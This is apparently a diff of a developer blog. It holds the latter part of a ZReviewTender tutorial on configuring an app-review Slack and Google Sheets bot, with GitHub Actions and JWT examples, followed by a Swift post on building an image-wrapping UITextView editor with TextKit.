❌❌❌ When an error occurs, Github will also send an email notification, so you don’t have to worry about the bot crashing without anyone noticing!

Github Action Adjustment

You can configure the Github Action execution rules according to your needs.

Click on the “Actions” tab above -> “ZReviewTender” on the left -> “ ZReviewTender.yml “ on the top right

Click the “✏️” on the top right to edit the file.

There are two parameters that can be adjusted:

cron: Set how often to check for new reviews. The default is 15 */6 * * *, which means it will run every 6 hours and 15 minutes.

You can refer to crontab.guru to configure it according to your needs.

Please note:

  1. Github Action uses the UTC time zone
  1. The higher the execution frequency, the more Github Action execution quota will be consumed

run: Set the command to be executed. You can refer to the “ Execution “ section below. The default is ZReviewTender -r

  • Default execution for Android App & Apple (iOS/macOS App): ZReviewTender -r
  • Execute only for Android App: ZReviewTender -g
  • Execute only for Apple (iOS/macOS App) App: ZReviewTender -a

After editing, click “Start commit” on the top right and select “Commit changes” to save the settings.

Manually Trigger ZReviewTender

Refer to the previous section “6. Initialize ZReviewTender (Manually trigger execution once)”

Install Using Gem

If you are familiar with Gems, you can directly use the following command to install ZReviewTender

1
+
gem install ZReviewTender
+

Install Using Gem (Not familiar with Ruby/Gems)

If you are not familiar with Ruby or Gems, you can follow the steps below to install ZReviewTender step by step

  1. Although macOS comes with Ruby, it is recommended to use rbenv or rvm to install a new Ruby and manage Ruby versions (I use 2.6.5)
  2. Use rbenv or rvm to install Ruby 2.6.5, and switch to rbenv/rvm’s Ruby
  3. Use which ruby to confirm that the current Ruby in use is not the system Ruby /usr/bin/ruby
  4. Once the Ruby environment is OK, use the following command to install ZReviewTender
1
+
gem install ZReviewTender
+

Deployment — Want to Extend Functionality Yourself

Manual

  1. git clone ZReviewTender Source Code
  2. Confirm & improve the Ruby environment
  3. Enter the directory and run bundle install to install related dependencies for ZReviewTender

The method for creating a Processor can be referred to in the later content of the article.

Configuration

ZReviewTender — Use a yaml file to configure the Apple/Google review bot.

[Recommendation] Directly use the command at the bottom of the article — “Generate Configuration File”:

1
+
ZReviewTender -i
+

Directly generate blank apple.yml & android.yml configuration files.

Apple (iOS/macOS App)

Refer to the apple.example.yml file:

⚠️ After downloading apple.example.yml, remember to rename the file to apple.yml

apple.yml:

1
+2
+3
+4
+5
+6
+
platform: 'apple'
+appStoreConnectP8PrivateKeyFilePath: '' # APPLE STORE CONNECT API PRIVATE .p8 KEY File Path
+appStoreConnectP8PrivateKeyID: '' # APPLE STORE CONNECT API PRIVATE KEY ID
+appStoreConnectIssueID: '' # APPLE STORE CONNECT ISSUE ID
+appID: '' # APP ID
+...
+

appStoreConnectIssueID:

appStoreConnectP8PrivateKeyID & appStoreConnectP8PrivateKeyFilePath:

  • Name: ZReviewTender
  • Access: App Manager

  • appStoreConnectP8PrivateKeyID: Key ID
  • appStoreConnectP8PrivateKeyFilePath: /AuthKey_XXXXXXXXXX.p8, Download API Key, and place the file in the same directory as the config yml.

appID:

appID: App Store Connect -> App Store -> General -> App Information -> Apple ID

GCP Service Account

The Google API services used by ZReviewTender (fetching store reviews, Google Translate, Google Sheet) all use Service Account authentication.

You can follow the official steps to create GCP & Service Account to download and save the GCP Service Account credentials (*.json).

  • To use the auto-translate feature, make sure GCP has enabled Cloud Translation API and the Service Account is added.
  • To use the record to Google Sheet feature, make sure GCP has enabled Google Sheets API, Google Drive API, and the Service Account is added.

Google Play Console (Android App)

Refer to the android.example.yml file:

⚠️ After downloading android.example.yml, remember to rename the file to android.yml

android.yml:

1
+2
+3
+4
+5
+6
+
platform: 'android'
+packageName: '' # Android App Package Name
+keyFilePath: '' # Google Android Publisher API Credential .json File Path
+playConsoleDeveloperAccountID: '' # Google Console Developer Account ID
+playConsoleAppID: '' # Google Console App ID
+......
+

packageName:

packageName: com.XXXXX can be obtained from Google Play Console -> Dashboard -> App

playConsoleDeveloperAccountID & playConsoleAppID:

Can be obtained from the URL on the Google Play Console -> Dashboard -> App page:

https://play.google.com/console/developers/ playConsoleDeveloperAccountID /app/ playConsoleAppID /app-dashboard

This will be used to generate a review message link, allowing the team to quickly access the backend review reply page by clicking the link.

keyFilePath:

The most important information, GCP Service Account credential key (*.json)

Follow the steps in the official documentation to create a Google Cloud Project & Service Account, then go to Google Play Console -> Setup -> API Access to enable the Google Play Android Developer API and link the project. Download the JSON key from GCP.

Example content of the JSON key:

gcp_key.json:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
{
+    "type": "service_account",
+    "project_id": "XXXX",
+    "private_key_id": "XXXX",
+    "private_key": "-----BEGIN PRIVATE KEY-----\nXXXX\n-----END PRIVATE KEY-----\n",
+    "client_email": "XXXX@XXXX.iam.gserviceaccount.com",
+    "client_id": "XXXX",
+    "auth_uri": "https://accounts.google.com/o/oauth2/auth",
+    "token_uri": "https://oauth2.googleapis.com/token",
+    "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
+    "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/XXXX.iam.gserviceaccount.com"
+}
+
  • keyFilePath: /gcp_key.json Key file path, place the file in the same directory as the config yml.

Processors

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
processors:
+    - FilterProcessor:
+        class: "FilterProcessor"
+        enable: true # enable
+        keywordsInclude: [] # keywords you want to filter out
+        ratingsInclude: [] # ratings you want to filter out
+        territoriesInclude: [] # territories you want to filter out
+    - GoogleTranslateProcessor: # Google Translate Processor, will translate review text to your language, you can remove whole block if you don't needed it.
+        class: "GoogleTranslateProcessor"
+        enable: false # enable
+        googleTranslateAPIKeyFilePath: '' # Google Translate API Credential .json File Path
+        googleTranslateTargetLang: 'zh-TW' # Translate to what Language
+        googleTranslateTerritoriesExclude: ["TWN","CHN"] # Review origin Territory (language) that you don't want to translate.
+    - SlackProcessor: # Slack Processor, resend App Review to Slack.
+        class: "SlackProcessor"
+        enable: true # enable
+        slackTimeZoneOffset: "+08:00" # Review Created Date TimeZone
+        slackAttachmentGroupByNumber: "1" # 1~100, how many review message in 1 slack message.
+        slackBotToken: "" # Slack Bot Token, send slack message throught Slack Bot.
+        slackBotTargetChannel: "" # Slack Bot Token, send slack message throught Slack Bot. (recommended, first priority)
+        slackInCommingWebHookURL: "" # Slack In-Comming WebHook URL, Send slack message throught In-Comming WebHook, not recommended, deprecated.
+    ...More Processors...
+

ZReviewTender comes with four processors, and the order affects the data processing flow: FilterProcessor -> GoogleTranslateProcessor -> SlackProcessor -> GoogleSheetProcessor.

FilterProcessor:

Filters the fetched reviews based on specified conditions, only processing reviews that meet the criteria.

  • class: FilterProcessor No need to adjust, points to lib/Processors/ FilterProcessor .rb
  • enable: true / false Enable this processor or not
  • keywordsInclude: [“ keyword1 ”,“ keyword2 ”…] Filters reviews that contain these keywords
  • ratingsInclude: [ 1 , 2 …] 1~5 Filters reviews that include these ratings
  • territoriesInclude: [“ zh-hant ”,” TWN ”…] Filters reviews that include these regions (Apple) or languages (Android)

GoogleTranslateProcessor:

Translate the reviews into the specified language.

  • class: GoogleTranslateProcessor No adjustment needed, points to lib/Processors/ GoogleTranslateProcessor .rb
  • enable: true / false Enable this Processor or Not
  • googleTranslateAPIKeyFilePath: /gcp_key.json GCP Service Account credential key File Path *.json, place the file in the same directory as the config yml, refer to the Google Play Console JSON key example above. (Please ensure that the service account of the JSON key has Cloud Translation API permissions)
  • googleTranslateTargetLang: zh-TW, en …target translation language
  • googleTranslateTerritoriesExclude: [“ zh-hant ”,” TWN ”…] Territories (Apple) or languages (Android) that do not need translation

SlackProcessor:

Forward reviews to Slack.

  • class: SlackProcessor No adjustment needed, points to lib/Processors/ SlackProcessor .rb
  • enable: true / false Enable this Processor or Not
  • slackTimeZoneOffset: +08:00 Review time display time zone
  • slackAttachmentGroupByNumber: 1 Set how many Reviews to combine into one message to speed up sending; default is 1 Review per 1 Slack message.
  • slackBotToken: xoxb-xxxx-xxxx-xxxx Slack Bot Token, Slack recommends creating a Slack Bot with postMessages Scope and using it to send Slack messages
  • slackBotTargetChannel: CXXXXXX Group ID ( not the group name ), the Slack Bot will send to which Channel group; and you need to add your Slack Bot to that group
  • slackInCommingWebHookURL: https://hooks.slack.com/services/XXXXX Use the old InComming WebHookURL to send messages to Slack, note! Slack does not recommend continuing to use this method to send messages.

Please note, this is a legacy custom integration — an outdated way for teams to integrate with Slack. These integrations lack newer features and they will be deprecated and possibly removed in the future. We do not recommend their use. Instead, we suggest that you check out their replacement: Slack apps.

  • slackBotToken and slackInCommingWebHookURL, SlackProcessor will preferentially choose to use slackBotToken

GoogleSheetProcessor

Record reviews to Google Sheet.

  • class: GoogleSheetProcessor No adjustment needed, points to lib/Processors/ SlackProcessor .rb
  • enable: true / false Enable this Processor or Not
  • googleSheetAPIKeyFilePath: /gcp_key.json GCP Service Account credential key File Path *.json, place the file in the same directory as the config yml, refer to the Google Play Console JSON key example above. (Please ensure that the service account of the JSON key has Google Sheets API, Google Drive API permissions)
  • googleSheetTimeZoneOffset: +08:00 Review time display time zone
  • googleSheetID: Google Sheet ID Can be obtained from the Google Sheet URL: https://docs.google.com/spreadsheets/d/ googleSheetID /
  • googleSheetName: Sheet name, e.g. Sheet1
  • keywordsInclude: [“ keyword1 ”,“ keyword2 ”…] Filter reviews that contain these keywords
  • ratingsInclude: [ 1, 2 …] 1~5 Filter reviews that contain these rating scores
  • territoriesInclude: [“ zh-hant ”,” TWN ”…] Filter reviews that contain these territories (Apple) or languages (Android)
  • values: [ ] Combination of review information fields
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
%TITLE% Review Title
+%BODY% Review Content
+%RATING% Review Rating 1~5
+%PLATFORM% Review Source Platform Apple or Android
+%ID% Review ID
+%USERNAME% Review Username
+%URL% Review URL
+%TERRITORY% Review Territory (Apple) or Review Language (Android)
+%APPVERSION% Reviewed App Version
+%CREATEDDATE% Review Creation Date
+

For example, my Google Sheet columns are as follows:

1
+
Review Rating,Review Title,Review Content,Review Information
+

Then values can be set as:

1
+
values: ["%TITLE%","%BODY%","%RATING%","%PLATFORM% - %APPVERSION%"]
+

Custom Processor to Integrate Your Workflow

If you need a custom Processor, please use manual deployment, as the gem version of ZReviewTender is packaged and cannot be dynamically adjusted.

You can refer to lib/Processors/ProcessorTemplate.rb to create your extension:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+
$lib = File.expand_path('../lib', File.dirname(__FILE__))
+
+require "Models/Review"
+require "Models/Processor"
+require "Helper"
+require "ZLogger"
+
+# Add to config.yml:
+#
+# processors:
+#   - ProcessorTemplate:
+#       class: "ProcessorTemplate"
+#       parameter1: "value"
+#       parameter2: "value"
+#       parameter3: "value"
+#       ...
+#
+
+class ProcessorTemplate < Processor
+
+    def initialize(config, configFilePath, baseExecutePath)
+        # init Processor
+        # get parameter from config e.g. config["parameter1"]
+        # configFilePath: file path of config file (apple.yml/android.yml)
+        # baseExecutePath: user execute path
+    end
+
+    def processReviews(reviews, platform)
+        if reviews.length < 1
+            return reviews
+        end
+
+        ## do what you want to do with reviews...
+        
+        ## return result reviews
+        return reviews
+    end
+end
+

initialize will provide:

  • config Object: Corresponding settings in the config yml
  • configFilePath: Path of the used config yml file
  • baseExecutePath: Path where the user executes ZReviewTender

processReviews(reviews, platform):

After fetching new reviews, this function will be called to allow the Processor to handle them. Please return the resulting Reviews after processing.

Review data structure is defined in lib/Models/ Review.rb

Notes

XXXterritorXXX parameter:

  • Apple Region: TWM/JPN…
  • Android Language: zh-hant/en/…

If a Processor is not needed: You can set enable: false or directly remove the Processor Config Block.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
+**Processors execution order can be adjusted according to your needs:**
+e.g. Execute Filter first, then Translation, then Slack, then Log to Google Sheet...
+### Execution
+
+> ⚠️ Use Gem to directly run `ZReviewTender`, if it's a manual deployment project, please use `bundle exec ruby bin/ZReviewTender` to execute.
+
+#### Generate configuration files:
+```css
+ZReviewTender -i
+

Generate apple.yml & android.yml from apple.example.yml & android.example.yml to the config/ directory in the current execution directory.

Execute Apple & Android review scraping:

1
+
ZReviewTender -r
+
  • By default, read the apple.yml & android.yml settings under /config/

Execute Apple & Android review scraping & specify configuration file directory:

1
+
ZReviewTender --run=configuration file directory
+
  • By default, read the apple.yml & android.yml settings under /config/

Execute only Apple review scraping:

1
+
ZReviewTender -a
+
  • By default, read the apple.yml settings under /config/

Execute only Apple review scraping & specify configuration file location:

1
+
ZReviewTender --apple=apple.yml configuration file location
+

Execute only Android review scraping:

1
+
ZReviewTender -g
+
  • By default, read the android.yml settings under /config/

Execute only Android review scraping & specify configuration file location:

1
+
ZReviewTender --googleAndroid=android.yml configuration file location
+

Clear execution records and return to initial settings

1
+
ZReviewTender -d
+

This will delete the Timestamp record file in /latestCheckTimestamp, returning to the initial state. Re-executing the scraping will receive the init success message again:

Current ZReviewTender version

1
+
ZReviewTender -v
+

Displays the latest version number of ZReviewTender on RubyGem.

Update ZReviewTender to the latest version (rubygem only)

1
+
ZReviewTender -n
+

First execution

The first successful execution will send an initialization success message to the specified Slack Channel and generate latestCheckTimestamp/Apple and latestCheckTimestamp/Android files in the corresponding execution directory to record the last scraped review Timestamp.

Additionally, an execute.log will be generated to record execution errors.

Set up a schedule for continuous execution

Set up a schedule (using crontab) to continuously scrape new reviews. ZReviewTender will scrape new reviews from the last scraped review Timestamp recorded in latestCheckTimestamp to the current scraping time and update the Timestamp record file.

e.g. crontab: 15 */6 * * * ZReviewTender -r

Additionally, note that since the Android API only provides reviews added or edited in the last 7 days, the schedule cycle should not exceed 7 days to avoid missing reviews.

[https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews](https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews){:target="_blank"}

https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews

Github Action Deployment

[ZReviewTender App Reviews Automatic Bot](https://github.com/marketplace/actions/zreviewtender-app-reviews-automatic-bot){:target="_blank"}

ZReviewTender App Reviews Automatic Bot

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
name: ZReviewTender
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: "15 */6 * * *" # Runs every six hours, you can refer to the above crontab to change the settings
+
+jobs:
+  ZReviewTender:
+    runs-on: ubuntu-latest
+    steps:
+    - name: ZReviewTender Automatic Bot
+      uses: ZhgChgLi/ZReviewTender@main
+      with:
+        command: '-r' # Executes Apple & iOS App review check, you can refer to the above to change to other execution commands
+

⚠️️️️️ Warning Again!

Be sure to ensure that your configuration files and keys cannot be publicly accessed, as the sensitive information within them could lead to App/Slack permissions being stolen; the author is not responsible for any misuse.

If any unexpected errors occur, please create an Issue with the log information, and it will be fixed as soon as possible!

Done

The tutorial ends here, next is the behind-the-scenes development story.

=========================

The War with App Reviews

I thought last year’s summary of AppStore APP’s Reviews Slack Bot and the related technology implementation of ZReviewsBot — Slack App Review Notification Bot would conclude the integration of the latest App reviews into the company’s workflow; unexpectedly, Apple updated the App Store Connect API this year, allowing this matter to continue evolving.

Last year’s solution for fetching Apple iOS/macOS App reviews:

  • Public URL API (RSS) ⚠️: Cannot flexibly filter, provides limited information, has a quantity limit, and we occasionally encounter data disorder issues, very unstable; might be deprecated by the official in the future
  • Using Fastlane SpaceShip to encapsulate complex web operations and session management, fetching review data from the App Store Connection backend (equivalent to running a web simulator crawler to fetch data from the backend).

Following last year’s method, only the second method can be used, but the effect is not perfect; the session will expire, requiring manual periodic updates, and cannot be placed on the CI/CD server because the session will expire immediately if the IP changes.

[important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane

important-note-about-session-duration by Fastlane

After receiving the news that Apple updated the App Store Connect API this year, I immediately started redesigning the new review bot. In addition to using the official API, I also optimized the previous architecture design and became more familiar with Ruby usage.

Issues encountered during the development of App Store Connect API

It’s very strange, so I had to workaround by first hitting this endpoint to filter out the latest reviews, then hitting List All App Store Versions for an App & List All Customer Reviews for an App Store Version to combine the App version information.

Issues encountered during the development of AndroidpublisherV3

  • The API does not provide a method to get all reviews, only reviews added/edited in the last 7 days.
  • Also uses JWT to connect to Google API (without relying on related libraries e.g. google-apis-androidpublisher_v3)
  • Here is an example of generating & using Google API JWT:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+
require "jwt"
+require "time"
+
+payload = {
+  iss: "client_email field in the GCP API service account key (*.json) file",
+  sub: "client_email field in the GCP API service account key (*.json) file",
+  scope: ["https://www.googleapis.com/auth/androidpublisher"].join(' '),
+  aud: "token_uri field in the GCP API service account key (*.json) file",
+  iat: Time.now.to_i,
+  exp: Time.now.to_i + 60*20
+}
+
+rsa_private = OpenSSL::PKey::RSA.new("private_key field in the GCP API service account key (*.json) file")
+token = JWT.encode payload, rsa_private, 'RS256', header_fields = {kid:"private_key_id field in the GCP API service account key (*.json) file", typ:"JWT"}
+
+uri = URI("token_uri field in the GCP API service account key (*.json) file")
+https = Net::HTTP.new(uri.host, uri.port)
+https.use_ssl = true
+request = Net::HTTP::Post.new(uri)
+request.body = "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=#{token}"
+
+response = https.request(request).read_body
+
+bearer = result["access_token"]
+
+### use bearer token
+
+uri = URI("https://androidpublisher.googleapis.com/androidpublisher/v3/applications/APP_PACKAGE_NAME/reviews")
+https = Net::HTTP.new(uri.host, uri.port)
+https.use_ssl = true
+        
+request = Net::HTTP::Get.new(uri)
+request['Authorization'] = "Bearer #{bearer}";
+        
+response = https.request(request).read_body
+        
+result = JSON.parse(response)
+
+# success!
+

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

App Store Connect API Now Supports Reading and Managing Customer Reviews

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

diff --git a/posts/e37d66ea1146/index.html b/posts/e37d66ea1146/index.html new file mode 100644 index 0000000000..deea975a5a --- /dev/null +++ b/posts/e37d66ea1146/index.html @@ -0,0 +1,273 @@ + iOS UITextView Text Wrapping Editor (Swift) | ZhgChgLi
Home iOS UITextView Text Wrapping Editor (Swift)
Post
Cancel

iOS UITextView Text Wrapping Editor (Swift)

iOS UITextView Text Wrapping Editor (Swift)

Practical Route

Target Functionality:

The app has a discussion area where users can post articles. The interface for posting articles needs to support text input, inserting multiple images, and text wrapping with images.

Functional Requirements:

  • Ability to input multiple lines of text
  • Ability to insert images within the text
  • Ability to upload multiple images
  • Ability to freely remove inserted images
  • Image upload effects/failure handling
  • Ability to translate input content into a transmittable text format, e.g., BBCODE

Here’s a preview of the final product:

[Wedding App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Wedding App

Let’s Start:

Chapter One

What? You say Chapter One? Isn’t it just using UITextView to achieve the editor functionality, why does it need to be divided into “chapters”? Yes, that was my initial reaction too, until I started working on it and realized it wasn’t that simple. It troubled me for two weeks, searching through various resources both domestic and international before finding a solution. Let me narrate my journey…

If you want to know the final solution directly, please skip to the last chapter (scroll down down down down).

At the Beginning

Of course, the text editor uses the UITextView component. Looking at the documentation, UITextView’s attributedText comes with an NSTextAttachment object that can attach images to achieve text wrapping effects. The code is also very simple:

1
+2
+3
+
let imageAttachment = NSTextAttachment()
+imageAttachment.image = UIImage(named: "example")
+self.contentTextView.attributedText = NSAttributedString(attachment: imageAttachment)
+

At first, I was quite happy thinking it was simple and convenient; but the problems were just beginning:

  • Images need to be selectable & uploadable from local storage: This is easy to solve. For image selection, I used the TLPhotoPicker library (supports multiple image selection/custom settings/switching to camera mode/Live Photos). The specific approach is to convert PHAsset to UIImage after TLPhotoPicker’s callback and insert it into imageAttachment.image, then upload the image to the server in the background.
  • Image upload needs to have effects and interactive operations (click to view the original image/click X to delete): Couldn’t achieve this, couldn’t find a way to do this with NSTextAttachment. However, it’s still possible to delete the image (press the “Back” key on the keyboard after the image to delete it), so let’s continue…
  • Original image files are too large, slow to upload, slow to insert, and consume performance: Resize before inserting and uploading, using Kingfisher’s resizeTo.
  • Insert images at the cursor position: Here, the original code needs to be modified as follows:
1
+2
+3
+4
+
let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)
+let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) // Get current content
+combination.insert(NSAttributedString(attachment: imageAttachment), at: range)
+self.contentTextView.attributedText = combination // Write back
+
  • Image upload failure handling: Here, I need to mention that I actually wrote another class to extend the original NSTextAttachment, with the purpose of adding an attribute to store an identifier value.
1
+2
+3
+
class UploadImageNSTextAttachment:NSTextAttachment {
+   var uuid:String?
+}
+

When uploading an image, change to:

1
+2
+3
+
let id = UUID().uuidString
+let attachment = UploadImageNSTextAttachment()
+attachment.uuid = id
+

Once we can identify the corresponding NSTextAttachment, we can search for the NSTextAttachment in the attributedText for the failed upload image, find it, and replace it with an error icon or remove it directly.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
if let content = self.contentTextView.attributedText {
+    content.enumerateAttributes(in: NSMakeRange(0, content.length),  options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in
+        if object.keys.contains(NSAttributedStringKey.attachment) {
+            if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == "targetID" {
+                attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30)
+                attachment.image =  UIImage(named: "IconError")
+                let combination = NSMutableAttributedString(attributedString: content)
+                combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment))
+                // To remove directly, use deleteCharacters(in: range)
+                self.contentTextView.attributedText = combination
+            }
+        }
+    }
+}
+

After overcoming the above problem, the code will look like this:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+
class UploadImageNSTextAttachment:NSTextAttachment {
+    var uuid:String?
+}
+func dismissPhotoPicker(withTLPHAssets: [TLPHAsset]) {
+    // TLPhotoPicker image picker callback
+    
+    let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)
+    // Get the cursor position, if none, start from the beginning
+    
+    guard withTLPHAssets.count > 0 else {
+        return
+    }
+    
+    DispatchQueue.global().async { in
+        // Process in the background
+        let orderWithTLPHAssets = withTLPHAssets.sorted(by: { $0.selectedOrder > $1.selectedOrder })
+        orderWithTLPHAssets.forEach { (obj) in
+            if var image = obj.fullResolutionImage {
+                
+                let id = UUID().uuidString
+                
+                var maxWidth:CGFloat = 1500
+                var size = image.size
+                if size.width > maxWidth {
+                    size.width = maxWidth
+                    size.height = (maxWidth/image.size.width) * size.height
+                }
+                image = image.resizeTo(scaledToSize: size)
+                // Resize image
+                
+                let attachment = UploadImageNSTextAttachment()
+                attachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)
+                attachment.uuid = id
+                
+                DispatchQueue.main.async {
+                    // Switch back to the main thread to update the UI and insert the image
+                    let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText)
+                    attachments.forEach({ (attachment) in
+                        combination.insert(NSAttributedString(string: "\n"), at: range)
+                        combination.insert(NSAttributedString(attachment: attachment), at: range)
+                        combination.insert(NSAttributedString(string: "\n"), at: range)
+                    })
+                    self.contentTextView.attributedText = combination
+                    
+                }
+                
+                // Upload image to server
+                // Alamofire post or....
+                // POST image
+                // if failed {
+                    if let content = self.contentTextView.attributedText {
+                        content.enumerateAttributes(in: NSMakeRange(0, content.length),  options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in
+                            
+                            if object.keys.contains(NSAttributedStringKey.attachment) {
+                                if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == obj.key {
+                                    
+                                    // REPLACE:
+                                    attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30)
+                                    attachment.image = // ERROR Image
+                                    let combination = NSMutableAttributedString(attributedString: content)
+                                    combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment))
+                                    // OR DELETE:
+                                    // combination.deleteCharacters(in: range)
+                                    
+                                    self.contentTextView.attributedText = combination
+                                }
+                            }
+                        }
+                    }
+                //}
+                //
+                
+            }
+        }
+    }
+}
+

By now, most of the issues have been resolved. So, what troubled me for two weeks?

Answer: “Memory” issues

iPhone 6 can't handle it!

iPhone 6 can’t handle it!

When inserting more than 5 images using the above method, UITextView starts to lag; at a certain point, the app crashes due to memory overload.

p.s. Tried various compression/other storage methods, but the result was the same.

The suspected reason is that UITextView does not reuse NSTextAttachment for images, so all inserted images are loaded into memory and not released. Unless you’re inserting small images like emojis 😅, you can’t use it for text wrapping around images.

Chapter 2

After discovering this “hard” memory issue, I continued searching online for solutions and found the following alternatives:

  • Use WebView to embed an HTML file (<div contentEditable="true"></div>) and interact with WebView using JS.
  • Use UITableView combined with UITextView for reuse.
  • Extend UITextView based on TextKit 🏆

The first method of embedding an HTML file in WebView was not considered due to performance and user experience concerns. Interested friends can search for related solutions on GitHub (e.g., RichTextDemo).

The second method of using UITableView combined with UITextView:

I implemented about 70% of it. Specifically, each line is a Cell, with two types of Cells: one for UITextView and one for UIImageView, with one line for text and one line for images. The content must be stored in an array to avoid disappearing during reuse.

This method excellently solves the memory issue through reuse, but I eventually gave up due to the difficulty in controlling creating a new line and jumping to it when pressing Return at the end of a line and jumping to the previous line when pressing Backspace at the beginning of a line (and deleting the current line if it’s empty). These parts were very hard to control.

Interested friends can refer to: MMRichTextEdit.

Final Chapter

By this point, a lot of time had been spent, and the development schedule was severely delayed. The final solution was to use TextKit.

Here are two articles for friends interested in researching further:

However, there is a certain learning curve, which was too difficult for a novice like me. Moreover, time was running out, so I aimlessly searched GitHub for solutions.

Finally, I found XLYTextKitExtension, which can be directly imported and used.

✔ Allows NSTextAttachment to support custom UIViews, enabling any interactive operations.

✔ NSTextAttachment can be reused without exhausting memory.

The specific implementation is similar to Chapter 1, except that NSTextAttachment is replaced with XLYTextAttachment.

For the UITextView to be used:

1
+
contentTextView.setUseXLYLayoutManager()
+

Tip 1: Change the insertion of NSTextAttachment to:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
let combine = NSMutableAttributedString(attributedString: NSAttributedString(string: ""))
+let imageView = UIView() // your custom view
+let imageAttachment = XLYTextAttachment { () -> UIView in
+    return imageView
+}
+imageAttachment.id = id
+imageAttachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)
+combine.append(NSAttributedString(attachment: imageAttachment))
+self.contentTextView.textStorage.insert(combine, at: range)
+

Tip 2: Search for NSTextAttachment and replace with

1
+2
+3
+4
+5
+
self.contentTextView.textStorage.enumerateAttribute(NSAttributedStringKey.attachment, in: NSRange(location: 0, length: self.contentTextView.textStorage.length), options: []) { (value, range, stop) in
+    if let attachment = value as? XLYTextAttachment {
+        //attachment.id
+    }
+}
+

Tip 3: Delete NSTextAttachment item and replace with

1
+
self.contentTextView.textStorage.deleteCharacters(in: range)
+

Tip 4: Get the current content length

1
+
self.contentTextView.textStorage.length
+

Tip 5: Refresh the Bounds size of the Attachment

The main reason is for user experience; when inserting an image, I will first insert a loading image, and the inserted image will be replaced after being compressed in the background. The Bounds of the TextAttachment need to be updated to the resized size.

1
+
self.contentTextView.textStorage.addAttributes([:], range: range)
+

(Add empty attributes to trigger refresh)

Tip 6: Convert input content into transmittable text

Use Tip 2 to search all input content and extract the IDs of the found Attachments, combining them into a format like [ [ID] ] for transmission.

Tip 7: Content replacement

1
+
self.contentTextView.textStorage.replaceCharacters(in: range, with: NSAttributedString(attachment: newImageAttachment))
+

Tip 8: Use regular expressions to match the range of content

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
let pattern = "(\\[\\[image_id=){1}([0-9]+){1}(\\]\\]){1}"
+let textStorage = self.contentTextView.textStorage
+
+if let regex = try? NSRegularExpression(pattern: pattern, options: .caseInsensitive) {
+    while true {
+        let range = NSRange(location: 0, length: textStorage.length)
+        if let match = regex.matches(in: textStorage.string, options: .withTransparentBounds, range: range).first {
+            let matchString = textStorage.attributedSubstring(from: match.range)
+            //FINDED!
+        } else {
+            break
+        }
+    }
+}
+

Note: If you need to search & replace items, you need to use a While loop. Otherwise, when there are multiple search results, after finding and replacing the first one, the range of the subsequent search results will be incorrect, causing a crash.

Conclusion

Currently, I have completed the product using this method and it is online without any issues; I will explore the principles behind it when I have time!

This article is more of a personal problem-solving experience sharing rather than a tutorial; if you are implementing similar functionality, I hope it helps you. Feel free to contact me with any questions or feedback.

The first official post on Medium

Further Reading

Feel free to contact me with any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

First Post on Medium

iOS ≥ 10 Notification Service Extension Application (Swift)

